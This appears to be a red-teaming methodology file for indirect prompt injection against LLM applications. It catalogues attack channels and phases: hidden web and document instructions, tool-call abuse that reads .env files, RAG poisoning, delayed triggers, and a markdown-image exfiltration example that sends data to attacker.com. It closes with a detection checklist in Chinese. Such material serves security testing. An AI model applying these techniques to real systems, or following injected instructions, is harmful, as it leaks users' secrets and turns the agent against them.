prompt-injection

AI Prompt Indirect Injection Methodology

Overview

Prompt Injection refers to attackers injecting malicious instructions through external data sources processed by an AI system to manipulate model behavior. Unlike jailbreak (direct user input), injection exploitsuntrusted third-party dataas an attack vector; the model cannot distinguish between "data" and "instructions."

This is the most dangerous vulnerability category for LLM applications — OWASP LLM Top 10's #1 position.

In-depth Reference

Detailed Payloads and code for each Phase (web pages/documents/CSV/images/toolchain/RAG/data exfiltration/advanced techniques) → references/injection-payloads.md

Attack Surface Classification

Injection Channel	Vector	Severity Level
Web Content	AI reads malicious pages when browsing/searching	Critical
Document Upload	Hidden instructions embedded in PDF/Word/CSV	Critical
Email Content	AI email assistant processes malicious emails	Critical
Database/RAG	Poisoned documents in the knowledge base	Critical
API Return	APIs called by AI Agents return malicious content	High
User Comments/Forms	Triggered when AI analyzes user-generated content	High
Image OCR	Images contain hidden text instructions	High
Code Comments	AI code assistant reads malicious comments	High

Methodology Overview

Phase 1: Indirect Injection — Web/Document Vectors

Hidden Web Page Instructions: Embed AI-readable instructions in CSS hidden elements/HTML comments
Document Injection: Hidden instructions in white font in PDF/Word, PDF metadata injection
CSV/Data Injection: Embed malicious instructions in data fields
Image Injection (Multimodal): Very light-colored text (invisible to humans, readable by AI)

Phase 2: Tool Use Abuse

Tool Call Injection: Use external data to make the Agent call dangerous tools such as read_file/http_request
Cross-Toolchain Attack: Search tool returns malicious content → triggers email tool to send data
File System Agent Attack: Inject into code repository README → AI code assistant reads .env

Phase 3: RAG Poisoning

Knowledge Base Poisoning: Smuggle malicious instructions into normal documents (white font/special markers)
Adversarial Retrieval: Craft high-frequency keyword text to ensure retrieval hits
Metadata Layer Injection: Inject override instructions in document metadata

Phase 4: Data Exfiltration

Markdown Image Exfiltration: Make the AI output markdown containing ![](https://attacker.com/log?data=...) markdown
Link Exfiltration: Disguised as a "more information" link, with sensitive data carried in URL parameters
Covert Encoding Exfiltration: Covertly leak through methods such as spelling with initials

Phase 5: Advanced Injection Techniques

Payload Splitting: Malicious instructions are distributed across multiple data sources; harmless individually, harmful when combined
Delayed Trigger: Embed conditional triggers that activate on specific queries
Recursive Injection: Embed new injection payloads in AI output for chain propagation

For detailed payloads and code for all techniques, see references/injection-payloads.md

Practical Detection Checklist

1. [ ] 目标 AI 应用是否处理外部数据？（网页、文档、邮件、API）
2. [ ] 是否有工具调用/插件能力？（文件操作、网络请求、代码执行）
3. [ ] 是否使用 RAG/知识库？（可投毒的向量数据库）
4. [ ] 输出是否渲染 Markdown？（图片/链接外泄风险）
5. [ ] 是否有多步骤工作流？（跨步骤注入机会）
6. [ ] 数据输入是否经过消毒？（HTML 标签、元数据是否保留）
7. [ ] 是否区分数据和指令？（系统/用户/上下文分离）

About this skill